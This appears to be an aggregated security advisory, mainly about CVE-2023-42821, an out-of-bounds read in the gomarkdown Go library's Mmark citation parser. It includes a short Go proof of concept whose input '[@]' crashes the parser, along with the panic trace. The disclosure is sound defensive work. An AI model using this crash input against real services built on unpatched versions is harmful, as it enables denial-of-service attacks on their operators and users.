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Withdrawn: CLEANSTART-2026-BR58082 — Echo is a Go web framework

Withdrawn by the publisher.

Affected: CleanStart: kube-metrics-adapter

Multiple security vulnerabilities affect the kube-metrics-adapter package. Echo is a Go web framework. See references for individual vulnerability details.

EUVD-2026-187670

fkie_cve-2023-42821

The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion `0.0.0-20230922105210-14b16010c2ee`, which corresponds with commit `14b16010c2ee7ff33a940a541d993bd043a88940`, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have `parser.Mmark` extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit `14b16010c2ee7ff33a940a541d993bd043a88940`/pseudoversion `0.0.0-20230922105210-14b16010c2ee` contains a patch for this issue.

GHSA-m9xq-6h2j-65r2 — Markdown vulnerable to Out-of-bounds Read while parsing citations

Affected: Go: github.com/gomarkdown/markdown

### Summary Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

### Details To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the `citation.go` file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

### PoC ```go package main

import ( "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/parser" )

func main() { ext := parser.CommonExtensions | parser.Attributes | parser.OrderedListStart | parser.SuperSubscript | parser.Mmark p := parser.NewWithExtensions(ext)

inp := []byte("[@]") markdown.ToHTML(inp, p, nil) } ```

```bash $ go run main.go panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]: github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544 github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0 github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3}) /Users…

gsd-2023-42821

msrc_CVE-2023-42821 — github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

msrc_CVE-2023-42821

UBUNTU-CVE-2023-42821

Affected: Ubuntu:24.04:LTS: golang-github-gomarkdown-markdown, Ubuntu:25.10: golang-github-gomarkdown-markdown, Ubuntu:26.04:LTS: golang-github-gomarkdown-markdown